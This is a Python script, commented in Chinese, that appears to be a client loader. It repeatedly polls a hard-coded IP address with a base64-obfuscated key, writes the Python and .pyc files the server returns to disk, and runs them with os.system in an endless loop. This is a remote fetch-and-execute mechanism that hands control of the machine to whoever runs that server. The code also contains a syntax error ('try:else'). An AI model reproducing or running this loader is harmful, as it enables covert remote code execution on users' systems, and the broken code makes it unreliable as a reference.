import os
import sys
import json
import time
import base64
import shutil
import requests
import traceback        #输出报错


"""
和Web端通讯
"""

def printf2(status,msg):
    if status == 0:
        timex = '[!] '
    if status == 1:
        timex = '[+] '
    msg = timex+time.strftime("%H:%M:%S", time.localtime())+'  '+msg
    print(msg)


"""文件写入内容"""
def write(filePath,data):
    dirPath = os.path.dirname(filePath)
    
    if not os.path.exists(dirPath):
        os.makedirs(dirPath)

    # print(data)
    f = open(filePath, 'wb+') if ".pyc" in filePath else open(filePath, 'w+', encoding='utf-8')
    f.write(data)
    f.close()


class api():
    
    def __init__(self):
        self.url = "http://208.87.206.108:1999/"
    
    """请求URL"""
    def getUrl(self,url, post=0,chongshi=0):
        if post:
            post['key'] = base64.b64decode('cDljNm44OXM5YXM3MW5jNnI5').decode()

        headers = {
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 Edg/79.0.309.51',
        }
        try:
            if post:
                print("POST: ", url.replace(self.url, ''))
                r = requests.post(url,data=post,timeout=30,headers=headers)
            else:
                print("GET: ", url.replace(self.url, ''))
                r = requests.get(url,timeout=30,headers=headers)
            r.encoding = 'utf-8'
            return r.text

        except Exception:

            traceback.print_exc()

            print(url,post)

            try:else
                print(r.text)
            except:
                traceback.print_exc()
            
            time.sleep(10)
        
        if not chongshi:
            return self.getUrl(url,post,1)
        return False


    """获取py文件"""
    def getPys(self):
        r = self.getUrl(self.url+'/asc9as9v4.php',{'key':''})
        try:
            r2 = json.loads(r)
            printf2(r2['status'],r2['msg'])
            return r2
        except:
            print(r)
            traceback.print_exc()
            time.sleep(1)
            return self.getPys()



if __name__=='__main__':
    api = api()

    while 1:
        try:
            
            pys = api.getPys()

            if pys['status']:
                pys = pys['data']
                for v in pys:
                    write("./"+v['name'], v['html'])

                filePath = './rust.py'
                if not os.path.exists(filePath):
                    filePath += "c"

                cmd = 'python3 '+filePath
                print(cmd)
                os.system(cmd)
                
                time.sleep(5)
            else:
                time.sleep(10)

        except:
            time.sleep(5)